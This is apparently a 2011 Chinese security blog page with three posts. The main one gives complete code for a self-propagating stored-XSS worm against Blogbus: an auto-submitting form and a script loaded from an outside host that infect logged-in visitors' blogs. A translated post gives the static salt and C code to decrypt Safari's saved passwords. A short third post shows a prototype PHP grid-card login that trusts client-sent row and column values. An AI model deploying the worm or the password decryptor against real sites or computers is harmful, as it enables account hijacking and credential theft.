Blogbus XSS Worm

作者:lu4nx 发布时间:September 26, 2011 分类:漏洞分析 10 Comments

已发表于《黑客防线》2011年6期
作者:乱雪

前言

Blogbus满站都是XSS已经众所周知了,早在09年,当我还在使用Blogbus时,发现了两处XSS,一处位于友情链接处,另一处则在自定义Header处。之后在网上看到了泉哥公布了很多BlogbusXSSBlogbus团队一直认为这不属于漏洞,于是便有了此文。

蠕虫&XSS 蠕虫

1988年,罗伯特·莫里斯利用Unix中的一个缓存溢出漏洞编写了世界上第一个蠕虫病毒,之后在Internet上蔓延,自我复制。

所以,蠕虫病毒的一个重要特征就是自我复制。

XSS攻击的本质是网站程序代码过滤不严,攻击者利用存在缺陷的网站作为平台向用户浏览器注入一段可执行的脚本代码。像微博、博客、社交这类用户交互式互动的网站倘若出现跨站漏洞,假设用户A的个人页面出现XSS,并且被注入了持久性的XSS代码,用户B来访问用户A时,用户B的浏览器就会执行注入的代码。因为HTML结合Javascript的灵活性,可以用XSS做很多事,比如挂马、钓鱼、蠕虫,而不仅仅限于弹出一个提示对话框。不像操作系统或者应用程序,只要及时更新了安全补丁,就可以避免特定的漏洞攻击,像博客之类的程序,由博客提供商编写的特定程序,只要程序出现漏洞,所用用户都可能会受到安全威胁。

XSS Worm就是利用持久性跨站,继承了传统的蠕虫病毒自我传播的特征,编写特定的代码来达到自我传播的目的。当用户A被植入了可传播的恶意代码后,用户B来浏览,将会被感染,因为用户A和用户B所使用的程序结构是同样的。接着用户C来浏览用户B或者用户A,用户C也同样登录了的,所以用户C在没有防范的情况下也会被感染。如此循环,可以自我传播一直蔓延下去。

利用思路

一、发现跨站漏洞

要实现XSS Worm,首先需要一个持久性跨站漏洞,即提交的数据会被保存在服务器的数据库中,当用户来浏览你的页面时,代码会被执行。

二、编写利用代码

编写特定的代码,该代码可以自动利用GET或者POST方式向出现漏洞的地方提交数据,达到感染的目的。

三、等待用户来访问

只要有用户来访问,首先判断是否登陆了,如果登陆了,就实施感染;如果没有登陆,随便你想做什么,跳转到其他地方、弹出提示、钓鱼、挂马、诱惑别人登录......

Blogbus XSS Worm编写

一般来说,编写XSS Worm都用了Ajax技术,利用XMLHttpRequest强大的功能来实现。但是我编写时,遇到了难以描述的困难,让我情何以堪,所以没有遵循传统的XSS Worm所用的Ajax

首先我们看触发漏洞的地方,用你的Blogbus账号登陆,在管理中心——博客——博客设置里的“自定义Header”中提交跨站代码<script>alert("xss test")</script>。保存并浏览你的博客,自个儿就弹出个内容为“xss test”的提示。如图1、图2



图1.jpg

1:触发XSS的地方




图2.jpg

2:执行效果

成功执行了跨站代码。我们需要引入外部的js文件来执行咱们的恶意代码,然后用<script src=http://***/xss.js></script>引入。

为了感染其他用户,需要先判断浏览者是否登陆了Blogbus,这个我们可以从Cookie值中来判断,为了找到登陆后的Cookie值,咱们先抓包。

WSockExpert打开一个浏览器进程,然后访问一个Blogbus的博客地址,我访问我的http://luanx.blogbus.com。最后抓出的未登陆BlogbusCookie如下:

Cookie:__utma=42272954.1234898992.1306645253.1306645253.1306645253.1; __utmb=42272954.1.10.1306645253; __utmz=42272954.1306645253.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); valid=blogbus.com

然后登陆,再访问,抓出的Cookie值如下:

Cookie:__utmc=42272954; __utma=42272954.1754355615.1306409514.1306409514.1306409514.1; __utmb=42272954.2.10.1306409514; __utmz=42272954.1306409514.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __gads=ID=2bbd5b77e7b8dca5:T=1306408636:S=ALNI_MZQ9cvxr0vTkxYedsAUIvi9x0FhUA; valid=blogbus.com; bus_uid=4173493; bus_xuid=4173493

对比两个状态(登陆和未登陆)的Cookie值,登陆后的Cookie中多了bus_uid一项,因此,我们以它作为判断用户是否登陆的依据。

简单说,登陆了Blogbus后,Cookie中会出现bus_uid。利用javascriptdocument对象的cookie属性就可以读出当前的cookie值了,然后再利用indexOf()方法来查找cookie值中是否存在“bus_uid”,代码如下:

var blogbus_cookie;

blogbus_cookie = document.cookie;

//indexOf()返回-1则代表没有找到

if ( blogbus_cookie.indexOf("bus_uid") != -1)

{

Alert("login");

} else alert("no login");

登陆后就可以向跨站点提交恶意数据了。继续来到博客设置页面(http://blog.home.blogbus.com/settings/basic ),然后查看网页的源代码,用关键字form为关键字,找到提交处理该页面数据的地址,如图3

图3.jpg

3

可看出数据以post方式提交的,处理地址是/4352807/settings/basic4352807很显然是一个跟用户有关的ID,每个博客用户的地址可能不一样的,但后来经过测试,发现直接提交给/settings/basic也行得通,这样就简单多了。

比较棘手的是XMLHttpRequest为了安全考虑,无法跨域提交POST信息,所以这里也出现了问题。可以用微软提供的XDomainRequest来跨域提交POST,但只针对IE浏览器,并且效果不好。后来在吃饭时想到一个简单的方法,直接用HTML来跨域提交。我的思路是在js文件里使用window.open(也可以用其他很多方法,但为了防止代码滥用,我选择的window.open,因为浏览器会拦截弹出窗口的)打开一个用来跨域提交请求的HTML文件,在该HTML文件里,我设置了单击事件(Onclick),一旦发生单击事件,就提交POST请求,为了防止滥用代码,高手可以换成其他事件。

直接完整给出HTML代码,如下:

<html>

<title>Xss Test</title>

<script language="javascript">

function xss()

{

//自动提交表单内容

document.form1.name.value = "xss test";          //博客名称

document.form1.description.value = "xss test";  //博客简介

document.form1.accessPwd.value="";   //访问密码,为空

document.form1.meta.value="<script src=http:\/\/192.168.127.135\/xss.js><\/script>"; //恶意代码

document.form1.submit();

}

</script>

<body Onclick=xss();>

<form name=form1 action=http://blog.home.blogbus.com/settings/basic  method=post>

<table>

<tr><td><input type=hidden name=name></td></tr>

<tr><td><textarea name=description style="border:none; overflow-y:hidden"></textarea></td></tr>

<tr><td><input type=hidden name=accessPwd></td></tr>

<tr><td><textarea name=meta style="border:none; overflow-y:hidden" ></textarea></td></tr>

<tr><td><input type=hidden value=PUT name=REQUEST_METHOD><tr><td>

</table>

</form>

</body>

</html>

注意有个隐藏的输入框<input type=hidden value=PUT name=REQUEST_METHOD>,之前我没加这个,怎么POST提交都没有感染,后来才发现需要这个。

完整的xss.js代码如下:

var blogbus_cookie = document.cookie; //得到Cookie

//直接在Cookie值里搜索“bus_uid”,找到则证明是登陆了的

//判断是否登陆

//如果登陆了,就全屏弹出一个窗口

if ( blogbus_cookie.indexOf("bus_uid=") != -1 )

{

    var height = window.screen.availHeight;

    var width = window.screen.availWidth;

    window.opener = null;

 //下面设置弹出页面的地址

    window.open("http://192.168.127.135/xss.htm","_blank", "height=" + height + ",width=" + width +",top=0,left=0,toolbar=no,menubar=no,scrollbars=yes,resizable=yes,location=no,status=no");

}else

    //alert("no login");

用另外一个用户登录,访问嵌入了以上代码的博客,就会弹出一个空白网页,当单击了该空白网页,就会被感染,效果如图4

图4.jpg

4

其实用脚本写XSS Worm还有很多玩法,不同的方法危害程度也不同,其实不用Ajax技术写XSS Worm也挺有意思的。XSS很灵活,XSS Worm很强大。


[翻译]揭秘Safari密码存储的秘密

作者:lu4nx 发布时间:September 25, 2011 分类:默认分类 6 Comments

文:Nagareshwar Talekar 译:乱雪

前言

Safari浏览器是目前所出浏览器中排在前五名的,它有着新颖的外观和最好的体验感。并且提供了最好的网页浏览方式,而且最大程度地支持HTML5,并还可以体验一些其他的使更好地浏览网页的新功能。

同其他浏览器一样,Safari也带有自带的密码管理功能,它可以安全地存储和管理用户在网页中保存的登录密码。

本文将首次公开Safari密码的存储方式、加密算法以及提供破解存储密码的代码。

Safari存储密码的位置

Safari浏览器拥有良好的密码管理、安全模型和加密算法,以尽可能地保证安全。不像其他浏览器,比如FirefoxChromeSafari中你是无法直接查看保存的密码的。

你可以在“设置——自动填充——用户名和密码”选项中启用或者禁用Safari的密码管理(如下图所示)。一旦启用,Safari将会提示保存用户登录的每个网站的密码。一经确认,用户名和密码将随着网址一同保存在保密的存储密码的文件中。
safari-browser-password-manager-settings.jpg

Safari将所有这些网站的登录密码存储在以下位置的'keychain.plist'文件中(根据所用的平台):

[Windows XP]
C:\Documents and Settings\<username>\Application Data\Apple Computer\Preferences


[Windows Vista & Windows 7]
C:\Users\<username>\AppData\Roaming\Apple Computer\Preferences


Safari存储数据的keychain.plist文件采用的是“Binary Property List”文件格式——它是苹果公司用于存储二进制数据的一种“Property List”文件格式的变种。下图是“keychain”文件的样子:
safari-password-keychain-file.jpg


解开“Keychain”文件的秘密

看着上图中“keychain”文件的内容,几乎没有什么可让人理解的数据。不过能暗示你的是,该文件是用“bplist”作为文件开头的关键字。

经过长时间的对“bplist”关键字的搜索,我终于想出了办法将这些内容为转换为纯XML文件。利用苹果提供的“plutil.exe”工具可以将它们转换为“Property List”文件。你可以在以下位置找到基于控制台的工具:

[Windows x86]
C:\Program Files\Common Files\Apple\Apple Application Support

[Windows x64]
C:\Program Files (x86)\Common Files\Apple\Apple Application Support


这条命令便可以将神秘的“keychain.plist”文件转换为易读的“keychain.xml”文件:

plutil.exe -convert xml1 -s -o c:\keychain.xml "c:\users\administrator\appdata\roaming\apple computer\preferences\keychain.plist"

这看起像解码后的XML文件:
safari-keychain-decoded-xml.jpg

Safari加密算法的内幕

生成的XML文件中包含了加密后的密码、网址以及用户名信息。存储的密码采用的是BASE64加密算法加密而成的。

不过注意,存储在“keychain.plist”文件中的原密码并没有采用BASE64加密。当我们用工具把它转换成XML文件时,它才会被加密成BASE64格式。

一旦将BASE64解码,就可以看到原来加密后的数据。Safari使用标准的“Windows Data Protection”机制加密用户层的密码。Windows DPAPI提供了类似于CryptProtectData/CryptUnprotectData这样的函数来轻易加密或者解密数据,比如密码。

Safari使用了CryptProtectData函数与一个静态的Salt结合,对所有网站中保存的登录密码进行加密。最后再将用户的这些登录信息保存在“keychain.plist”文件中。

解码并解密Safari中保存的密码

如上所述,完成整个的解密过程只需要以下两个步骤:

1.将存储在XML文件中的密码数据进行解码。

2.Windows DPAPI解密数据。

首先你需要使用BASE64解码工具将XML文件中的密码字节解码。

之后我们对这个加密后的数据进行解密。为了解密这个数据,我们必须找到在CryptUnprotectData使用的Salt。这里是我在逆向工程时找到的Salt

safari-encryption-salt-data.jpg



整个Salt生成算法和解密的函数,在苹果提供的共享库“CFNetwork.dll”中,文件位于以下位置:

[Windows x86]
C:\Program Files\Common Files\Apple\Apple Application Support


[Windows x64]

C:\Program Files (x86)\Common Files\Apple\Apple Application Support


以下是用IDA Pro反汇编CFNetwork.dllSalt生成和解密函数的调用:


\safari-password-disassembly-cfnetwork-dll.jpg

最开始,Salt看起来似乎动态的生成的,但是我在不同的系统中逆向后,我怀疑它只是静态的。Salt是一串144字节的数据和使用“com.apple.Safari作为结束的尾部。之前的截图中所示。

一旦我们得到了Salt数据,就可以轻易地使用CryptUnprotectData函数解密了,完整的代码如下:

BYTE salt[] = { 

0x1D, 0xAC, 0xA8, 0xF8, 0xD3, 0xB8, 0x48, 0x3E, 0x48, 0x7D, 0x3E, 0x0A, 0x62, 0x07, 0xDD, 0x26,

0xE6, 0x67, 0x81, 0x03, 0xE7, 0xB2, 0x13, 0xA5, 0xB0, 0x79, 0xEE, 0x4F, 0x0F, 0x41, 0x15, 0xED,

0x7B, 0x14, 0x8C, 0xE5, 0x4B, 0x46, 0x0D, 0xC1, 0x8E, 0xFE, 0xD6, 0xE7, 0x27, 0x75, 0x06, 0x8B,

0x49, 0x00, 0xDC, 0x0F, 0x30, 0xA0, 0x9E, 0xFD, 0x09, 0x85, 0xF1, 0xC8, 0xAA, 0x75, 0xC1, 0x08,

0x05, 0x79, 0x01, 0xE2, 0x97, 0xD8, 0xAF, 0x80, 0x38, 0x60, 0x0B, 0x71, 0x0E, 0x68, 0x53, 0x77,

0x2F, 0x0F, 0x61, 0xF6, 0x1D, 0x8E, 0x8F, 0x5C, 0xB2, 0x3D, 0x21, 0x74, 0x40, 0x4B, 0xB5, 0x06,

0x6E, 0xAB, 0x7A, 0xBD, 0x8B, 0xA9, 0x7E, 0x32, 0x8F, 0x6E, 0x06, 0x24, 0xD9, 0x29, 0xA4, 0xA5,

0xBE, 0x26, 0x23, 0xFD, 0xEE, 0xF1, 0x4C, 0x0F, 0x74, 0x5E, 0x58, 0xFB, 0x91, 0x74, 0xEF, 0x91,

0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x53, 0x61, 0x66, 0x61, 0x72, 0x69 

};

//now decrypt the data

DATA_BLOB DataIn;

DATA_BLOB DataOut;

DATA_BLOB OptionalEntropy;

DataIn.pbData = byteEncBuffer; //encrypted password data

DataIn.cbData = dwEncBufferSize; //encrypted password data size

OptionalEntropy.pbData = (unsigned char*)&salt;

OptionalEntropy.cbData = 144;

if(CryptUnprotectData(&DataIn, 0, &OptionalEntropy, NULL, NULL,0, &DataOut) == FALSE )

{

printf("CryptUnprotectData failed = 0x%.8x", GetLastError());

return FALSE;

}

//Decrypted data is in following format

//Password Length [4 bytes] + Pass Data []

BYTE *byteData = (BYTE *) DataOut.pbData;

DWORD dwPassLen = byteData[0];

memcpy(strPassword, &byteData[4], dwPassLen);

strPassword[dwPassLen] = 0;

printf("Decrypted Password %d - %s", dwPassLen, strPassword);

上面的程序初始化了Salt,然后通过CryptUnprotectData进行解码,从而得到解码后的数据。解密后的前4个字节的数据包含了ASCII密码的长度,之后才是明文。

使用SafariPasswordDecryptor获得Safari密码

SafariPasswordDecryptor是一款自动获得存储在Safari浏览器中的所保存的网站中的登录密码,它可以自动地解码并解密keychain文件中所存储的信息。

safaripassworddecryptor_article.jpg

并且它同时提供了用户界面和命令行界面,后者更适用于渗透测试人员。它除了可以恢复失去的密码,也可以用于调查取证。

SafariPasswordDecryptor可运行在Windows平台,从Windows XP到最新的Windows7








矩阵验证的后台

作者:lu4nx 发布时间:September 25, 2011 分类:默认分类,安全架构 102 Comments

在给网站后台做强化设计,根据这么多年的经验,光验证用户名和密码真的让我太没安全感了。头脑风暴了一下,从农行的动态密码卡那里得到的灵感。登陆后台除了验证用户名以外,还得有“动态密码卡”。“动态密码卡”就是一个矩阵,里面的每行每列都有一个对应的值,登陆页面会随机显示两组行列号,需要输入行列号对应的值才行,这个雏形我只随机了一组行列号,慢慢来。当然弱点就是管理员需要保存这个“动态密码卡”上的数组且不被人得到:)

测试代码,这里的矩阵如下:
e07d14caa83df770bf09e6c7.png
044ded8ab6b8adbcfc1f10a9.png

854c2c17fa964a2521a4e9b8.png

界面,test.php:

 

<?php

 include_once("c.php");

 //随机生成一个行列号

 $test = rnd();

 $num1 = $test[0];

 $num2 = $test[1];

 

?>

<p>行:<?=$num1?>列:<?=$num2?></p>

<form id="form1" name="form1" method="POST" action="c.php">

  <label>

  <input type="text" name="num" id="textfield" />

  <input name="rnd1" type="hidden" value="<?=$num1?>" />

  <input name="rnd2" type="hidden" value="<?=$num2?>" />

  </label>

  <label>

  <input type="submit" value="提交" />

  </label>

</form>

 

核心代码,c.php:

 

<?php

 /*

 生成一个5行5列的矩阵,为了不头脑糊涂,故让数组从1下标开始。

 */

 $pass = Array();  

 $pass[0] = 0;

 $pass[1] = Array(0,1,2,3,4,5);

 $pass[2] = Array(0,6,7,8,9,10);

 $pass[3] = Array(0,11,12,13,14,15);

 $pass[4] = Array(0,16,17,18,19,20);

 $pass[5] = Array(0,21,22,23,24,25);

 

 /*

 函数说明:随机行列号

 */

 function rnd()

 {

  //产生1到5之间的随机数

  $rand1 = rand(1,5);

  $rand2 = rand(1,5);

  

  //返回一个数组,第一个元素包含行号,第二个元素包含列号

  return Array($rand1,$rand2);  

 }

 

 //接收行号

 $rnd1 = $_POST['rnd1'];

 //接受列号

 $rnd2 = $_POST['rnd2'];

 //接受对应的值

 $num = $_POST['num'];

 

 $check = $pass[$rnd1][$rnd2];

 

 if ( $num >0 )

 {

  if ( $num == $check )

   echo '正确,你输入的是:'.$num;

  else

   echo ':-(';

 }

?>

 

 这只是一个原型罢了,还需要很多强化。